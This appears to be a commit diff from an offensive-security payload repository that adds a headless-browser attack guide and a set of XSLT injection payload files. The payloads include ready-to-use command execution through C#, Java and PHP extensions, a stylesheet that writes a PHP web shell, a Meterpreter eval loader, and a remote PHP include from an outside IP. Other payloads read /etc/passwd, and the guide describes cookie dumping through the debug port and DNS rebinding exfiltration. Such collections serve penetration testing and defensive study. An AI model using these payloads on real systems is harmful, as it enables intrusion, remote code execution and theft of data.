XSLT payloads + Headless Browser

This commit is contained in:
Swissky 2024-05-31 00:07:21 +02:00
parent ded1d95735
commit b5251a673f
19 changed files with 346 additions and 53 deletions

View file

@ -49,7 +49,9 @@
python ./badsecrets/examples/symfony_knownkey.py --url https://localhost/
```
- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.
- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens
## Exploit
The following commands can be used to takeover accounts or extract personal information from the API using the leaked token.
@ -223,14 +225,12 @@ $ AspDotNetWrapper.exe --decryptDataFilePath C:\DecryptedText.txt
```
### Mapbox API Token
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
```
#Check token validity
curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
#Get list of all tokens associated with an account. (only works if the token is a Secret Token (sk), and has the appropriate scope)
curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"
```
A Mapbox API Token is a JSON Web Token (JWT). If the header of the JWT is `sk`, jackpot. If it's `pk` or `tk`, it's not worth your time.
* Check token validity: `curl "https://api.mapbox.com/tokens/v2?access_token=YOUR_MAPBOX_ACCESS_TOKEN"`
* Get list of all tokens associated with an account (only works if the token is a Secret Token (sk), and has the appropriate scope): `curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MAPBOX_ACCESS_TOKEN"`
## References
@ -239,3 +239,4 @@ curl "https://api.mapbox.com/tokens/v2/MAPBOX_USERNAME_HERE?access_token=YOUR_MA
* [Project Blacklist3r - November 23, 2018 - @notsosecure](https://www.notsosecure.com/project-blacklist3r/)
* [Saying Goodbye to my Favorite 5 Minute P1 - Allyson O'Malley - January 6, 2020](https://www.allysonomalley.com/2020/01/06/saying-goodbye-to-my-favorite-5-minute-p1/)
* [Mapbox API Token Documentation](https://docs.mapbox.com/help/troubleshooting/how-to-use-mapbox-securely/)
* [Introducing SignSaboteur: forge signed web tokens with ease - Zakhar Fedotkin - 22 May 2024](https://portswigger.net/research/introducing-signsaboteur-forge-signed-web-tokens-with-ease)

View file

@ -623,4 +623,5 @@ If SSH is active check which user is being used `/proc/self/status` and `/etc/pa
* [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - 18/10/2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
* [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - 21/03/2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
* [One Line PHP: From Genesis to Ragnarök - Ginoah, Bookgin](https://hackmd.io/@ginoah/phpInclude#/)
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
* [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - 11 December, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
* [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - 27 May, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)

116
Headless Browser/README.md Normal file
View file

@ -0,0 +1,116 @@
# Headless Browser
A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
## Headless Commands
Example of headless browsers commands:
```ps1
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
firefox --screenshot https://www.google.com
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
```
## Local File Read
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
* Javascript Redirect
```html
<html>
<body>
<script>
window.location="/etc/passwd"
</script>
</body>
</html>
```
* Iframe
```html
<html>
<body>
<iframe src="/etc/passwd" height="640" width="640"></iframe>
</body>
</html>
```
## Debugging Port
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
**Tools**:
* [slyd0g/WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) - Interact with Chromium-based browsers' debug port to view open tabs, installed extensions, and cookies
* [slyd0g/ripWCMN.py](https://gist.githubusercontent.com/slyd0g/955e7dde432252958e4ecd947b8a7106/raw/d96c939adc66a85fa9464cec4150543eee551356/ripWCMN.py) - WCMN alternative using Python to fix the websocket connection with an empty `origin` Header.
> [!NOTE]
> Since Chrome update from December 20, 2022, you must start the browser with the argument `--remote-allow-origins="*"` to connect to the websocket with WhiteChocolateMacademiaNut.
**Exploits**:
* Connect and interact with the browser: `chrome://inspect/#devices`, `opera://inspect/#devices`
* Kill the currently running browser and use the `--restore-last-session` to get access to the user's tabs
* Dump cookies:
* Stored data: `chrome://settings`
* Port Scan: In a loop open `http://localhost:<port>/json/new?http://callback.example.com?port=<port>`
* Leak UUID: Iframe: `http://127.0.0.1:<port>/json/version`
* Local File Read: [pich4ya/chrome_remote_debug_lfi.py](https://gist.github.com/pich4ya/5e7d3d172bb4c03360112fd270045e05)
* Node inspector `--inspect` works like a `--remote-debugging-port`
```ps1
node --inspect app.js # default port 9229
node --inspect=4444 app.js # custom port 4444
node --inspect=0.0.0.0:4444 app.js
```
> [!NOTE]
> The flag `--user-data-dir=/path/to/data_dir` is used to specify the user's data directory, where Chromium stores all of its application data such as cookies and history. If you start Chromium without specifying this flag, youll notice that none of your bookmarks, favorites, or history will be loaded into the browser.
## Network
### Port Scanning
Port Scanning: Timing attack
* Dynamically insert an `<img>` tag pointing to a hypothetical closed port. Measure time to onerror.
* Repeat at least 10 times → average time to get an error for a closed port
* Test random port 10 times and measure time to error
* If `time_to_error(random_port) > time_to_error(closed_port)*1.3` → port is opened
**Consideration**:
* Chrome blocks by default a list of "known ports"
* Chrome blocks access to local network addresses except localhost through 0.0.0.0
### DNS Rebinding
* [nccgroup/singularity](https://github.com/nccgroup/singularity) - A DNS rebinding attack framework.
1. Chrome will make 2 DNS requests: `A` and `AAAA` records
* `AAAA` response with valid Internet IP
* `A` response with internal IP
2. Chrome will connect in priority to the IPv6 (evil.net)
3. Close IPv6 listener just after first response
4. Open Iframe to evil.net
5. Chrome will attempt to connect to the IPv6 but as it will fail it will fallback to the IPv4
6. From top window, inject script into iframe to exfiltrate content
## References
* [Attacking Headless Browsers - truff - 22/05/2024](#bb-discord-replay-not-available)
* [Browser based Port Scanning with JavaScript - Nikolai Tschacher - January 10, 2021](https://incolumitas.com/2021/01/10/browser-based-port-scanning/)
* [Post-Exploitation: Abusing Chrome's debugging feature to observe and control browsing sessions remotely - wunderwuzzi - Apr 28, 2020](https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/)
* [Node inspector/CEF debug abuse - HackTricks](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse)
* [Chrome DevTools Protocol - Documentation](https://chromedevtools.github.io/devtools-protocol/)
* [Cookies with Chromiums Remote Debugger Port - Justin Bui - Dec 17, 2020](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e)
* [Debugging Cookie Dumping Failures with Chromiums Remote Debugger - Justin Bui - Jul 16, 2023](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f)
* [Tricks for Reliable Split-Second DNS Rebinding in Chrome and Safari - Daniel Thatcher - December 6, 2023](https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari)

View file

@ -0,0 +1,5 @@
<html>
<body>
<iframe src="/etc/passwd" height="640" width="640"></iframe>
</body>
</html>

View file

@ -0,0 +1,7 @@
<html>
<body>
<script>
window.location="/etc/passwd"
</script>
</body>
</html>

View file

@ -0,0 +1,8 @@
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<br />Version: <xsl:value-of select="system-property('xsl:version')" />
<br />Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br />Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</body>
</html>

View file

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,26 @@
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,22 @@
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
public string ToShortDateString(string date)
{
System.Diagnostics.Process.Start("cmd.exe");
return "01/01/2001";
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
<TABLE>
<xsl:for-each select="Test">
<TR>
<TD>
<xsl:value-of select="App:ToShortDateString(TestDate)" />
</TD>
</TR>
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,8 @@
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobject" select="rt:getRuntime()"/>
<xsl:variable name="process" select="rt:exec($rtobject,'ls')"/>
<xsl:variable name="processString" select="ob:toString($process)"/>
<xsl:value-of select="$processString"/>
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,6 @@
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>

View file

@ -0,0 +1,9 @@
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:variable name="payload">
include("http://10.10.10.10/test.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>

View file

@ -0,0 +1,5 @@
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body>
<xsl:value-of select="php:function('readfile','index.php')" />
</body>
</html>

View file

@ -0,0 +1,8 @@
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:variable name="eval">
eval(base64_decode('Base64-encoded Meterpreter code'))
</xsl:variable>
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,5 @@
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,14 @@
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://172.16.132.1:25')"/>
<xsl:copy-of select="document('/etc/passwd')"/>
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

View file

@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "C:\secretfruit.txt">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
Fruits &ext_file;:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>

View file

@ -11,7 +11,7 @@
- [Determine the vendor and version](#determine-the-vendor-and-version)
- [External Entity](#external-entity)
- [Read files and SSRF using document](#read-files-and-ssrf-using-document)
- [Remote Code Execution with Embedded Script Blocks](#remote-code-execution-with-embedded-script-blocks)
- [Write files with EXSLT extension](#write-files-with-exslt-extension)
- [Remote Code Execution with PHP wrapper](#remote-code-execution-with-php-wrapper)
- [Remote Code Execution with Java](#remote-code-execution-with-java)
- [Remote Code Execution with Native .NET](#remote-code-execution-with-native-net)
@ -57,7 +57,6 @@
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
```
@ -80,37 +79,27 @@
</xsl:stylesheet>
```
### Remote Code Execution with Embedded Script Blocks
### Write files with EXSLT extension
EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language. EXSLT, or Extensible Stylesheet Language Transformations, is a set of extensions to the XSLT (Extensible Stylesheet Language Transformations) language.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exploit="http://exslt.org/common"
extension-element-prefixes="exploit"
version="1.0">
<xsl:template match="/">
<exploit:document href="evil.txt" method="text">
Hello World!
</exploit:document>
</xsl:template>
</xsl:stylesheet>
```
### Remote Code Execution with PHP wrapper
Execute the function `readfile`.
@ -128,9 +117,9 @@ Execute the function `scandir`.
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
<xsl:template match="/">
<xsl:value-of name="assert" select="php:function('scandir', '.')"/>
</xsl:template>
</xsl:stylesheet>
```
@ -140,10 +129,10 @@ Execute a remote php file using `assert`
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:variable name="payload">
include("http://10.10.10.10/test.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
<xsl:variable name="payload">
include("http://10.10.10.10/test.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
```
@ -152,12 +141,12 @@ Execute a PHP meterpreter using PHP wrapper.
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:variable name="eval">
eval(base64_decode('Base64-encoded Meterpreter code'))
</xsl:variable>
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
</xsl:template>
<xsl:template match="/">
<xsl:variable name="eval">
eval(base64_decode('Base64-encoded Meterpreter code'))
</xsl:variable>
<xsl:variable name="preg" select="php:function('preg_replace', '/.*/e', $eval, '')"/>
</xsl:template>
</xsl:stylesheet>
```
@ -165,9 +154,9 @@ Execute a remote php file using `file_put_contents`
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
</xsl:template>
<xsl:template match="/">
<xsl:value-of select="php:function('file_put_contents','/var/www/webshell.php','&lt;?php echo system($_GET[&quot;command&quot;]); ?&gt;')" />
</xsl:template>
</xsl:stylesheet>
```
@ -217,12 +206,43 @@ Execute a remote php file using `file_put_contents`
</xsl:for-each>
</TABLE>
</xsl:template>
</xsl:stylesheet>
</xsl:stylesheet>
```
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="urn:my-scripts">
<msxsl:script language = "C#" implements-prefix = "user">
<![CDATA[
public string execute(){
System.Diagnostics.Process proc = new System.Diagnostics.Process();
proc.StartInfo.FileName= "C:\\windows\\system32\\cmd.exe";
proc.StartInfo.RedirectStandardOutput = true;
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.Arguments = "/c dir";
proc.Start();
proc.WaitForExit();
return proc.StandardOutput.ReadToEnd();
}
]]>
</msxsl:script>
<xsl:template match="/fruits">
--- BEGIN COMMAND OUTPUT ---
<xsl:value-of select="user:execute()"/>
--- END COMMAND OUTPUT ---
</xsl:template>
</xsl:stylesheet>
```
## References
* [From XSLT code execution to Meterpreter shells - @agarri - 02 July 2012](https://www.agarri.fr/blog/archives/2012/07/02/from_xslt_code_execution_to_meterpreter_shells/index.html)
* [XSLT Injection - Fortify](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)
* [XSLT Injection Basics - Saxon](https://blog.hunniccyber.com/ektron-cms-remote-code-execution-xslt-transform-injection-java/)
* [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024](https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/)
* [Getting XXE in Web Browsers using ChatGPT - Igor Sak-Sakovskiy - May 22, 2024](https://swarm.ptsecurity.com/xxe-chrome-safari-chatgpt/)
* [XSLT injection lead to file creation - PT SWARM - 30 may 2024](https://twitter.com/ptswarm/status/1796162911108255974/photo/1)